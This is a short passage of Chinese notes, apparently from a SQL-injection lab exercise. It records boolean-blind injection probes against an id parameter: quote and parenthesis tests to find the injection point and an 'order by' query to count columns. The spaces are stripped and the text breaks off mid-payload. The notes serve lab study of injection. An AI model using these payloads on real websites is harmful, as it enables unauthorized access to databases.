1.布尔盲注:正常回显:Youarein....Useoutfile......报错:YouhaveanerrorinyourSQLsyntax测试注入点:?id=1'#报错?id=1'and1=1%23#报错,单引号注入,是字符型?id=1'))%23#单引号加了两个括号后正常回显,找到注入点测试列数:3列?id=1'))orderby4%23?id=